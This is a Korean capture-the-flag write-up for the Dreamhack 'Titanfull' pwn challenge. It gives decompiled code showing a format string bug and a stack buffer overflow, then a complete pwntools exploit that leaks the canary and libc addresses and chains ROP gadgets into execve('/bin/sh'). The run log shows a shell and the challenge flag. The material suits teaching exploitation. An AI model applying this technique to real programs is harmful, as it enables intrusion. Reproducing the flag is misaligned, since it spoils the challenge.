문제 설명
해당 문제는 2023 X-mas CTF 에 출제된 문제입니다.
제작자가 어느 게임에 감명받아 만든 프로그램입니다.
취약점을 찾아 플레그를 얻으세요!
checksec
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Titanfull$ checksec ./titanfull [*] '/home/ubuntu/Desktop/dreamhack-CTF/Titanfull/titanfull' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Decompiled-src
menu
void __noreturn menu() { int v0; // [rsp+Ch] [rbp-54h] BYREF char buf[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v2; // [rsp+58h] [rbp-8h] v2 = __readfsqword(0x28u); puts("-----------------------------------------------------------------------"); puts(&byte_2108); puts(&byte_21E0); puts(&byte_22B8); puts(&byte_2390); puts(&byte_2468); puts(&byte_2540); puts("-----------------------------------------------------------------------"); write(1, "What your name pilot? > ", 0x18uLL); read(0, buf, 48uLL); printf("hello, "); printf(buf); // trigger FORMAT STRING BUG!!! while ( 1 ) { while ( 1 ) { puts("1. Titan select"); puts("2. Lunch Titan"); puts("3. exit"); printf("> "); __isoc99_scanf("%d", &v0); if ( v0 != 7274 ) break; if ( check == 1 ) goto LABEL_18; vanguard(); } if ( v0 <= 7274 ) { if ( v0 == 3 ) exit(0); if ( v0 <= 3 ) { if ( v0 == 1 ) { if ( check != 1 ) select_titan(); else LABEL_18: puts("You already select titan!"); } else if ( v0 == 2 ) { if ( check ) { printf("Standby for titanfall!"); exit(0); } puts("Plese select titan!"); } } } } }
vanguard
unsigned __int64 vanguard() { char v1[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); puts("You selected RSR vanguard class titan!"); printf("Please enter the name of titan : "); __isoc99_scanf("%s", v1); // trigger BUFFER OVERFLOW!!! check = 1; return __readfsqword(0x28u) ^ v2; }
Solution
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 17151) libc = ELF('./libc6_2.31-0ubuntu9.12_amd64.so', checksec=False) #p = process('./titanfull') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') e = ELF('./titanfull', checksec=False) libc_rop = ROP(libc) # Stage 1. format string bug #p.sendlineafter(b'What your name pilot? > ', '%15$p %17$p') #local p.sendlineafter(b'What your name pilot? > ', '%25$p %17$p') #server p.recvuntil('hello, ') tmp = p.recvline() main = tmp.split(b"\n")[0].split(b" ")[0] main = int(main, 16) canary = tmp.split(b"\n")[0].split(b" ")[1] canary = int(canary, 16) bin_base = main - e.sym['main'] success(f"main: {hex(main)}") success(f"canary: {hex(canary)}") success(f"bin_base: {hex(bin_base)}") p.sendlineafter("> ", "7274") payload = b"A"*24 payload += p64(canary) payload += b"B"*8 pop_rdi_ret = bin_base + 0x16c3 puts_got = bin_base + e.got['puts'] puts = bin_base + e.sym['puts'] # Stage 2. Leak libc address # ROP: puts(puts_got); call vanguard; payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts) payload += p64(bin_base + e.sym['vanguard']) p.sendlineafter("Please enter the name of titan : ", payload) libc_puts = p.recv(6) libc_puts = libc_puts.ljust(8, b"\x00") libc_puts = u64(libc_puts) success(f"libc_puts: {hex(libc_puts)}") libc_base = libc_puts - libc.sym['puts'] success(f"libc_base: {hex(libc_base)}") payload = b"A"*24 payload += p64(canary) payload += b"B"*8 bin_sh = libc_base + next(libc.search(b'/bin/sh')) pop_rdi_ret = libc_base + libc_rop.find_gadget(['pop rdi', 'ret']).address pop_rsi_ret = libc_base + 0x2601f pop_rdx_ret = libc_base + libc_rop.find_gadget(['pop rdx', 'ret']).address # Stage 3. get shell # ROP: execve("/bin/sh", NULL, NULL); #set rdi payload += p64(pop_rdi_ret) payload += p64(bin_sh) #arg1: /bin/sh #set rsi payload += p64(pop_rsi_ret) payload += p64(0) #arg2: NULL #set rdx payload += p64(pop_rdx_ret) payload += p64(0) #arg3: NULL payload += p64(libc_base + libc.sym['execve']) p.sendlineafter("Please enter the name of titan : ", payload) p.interactive()
Result
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Titanfull$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 17151: Done [*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.12_amd64.so' [+] main: 0x5610e7db5630 [+] canary: 0xb896644c05819d00 [+] bin_base: 0x5610e7db4000 [+] libc_puts: 0x7f1547a7b420 [+] libc_base: 0x7f15479f7000 [*] Switching to interactive mode $ cat flag DH{ab48f98344b43e07fd53091e3ba1602fb1da237581f2b7fe22fcc43584a9c4b5} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 17151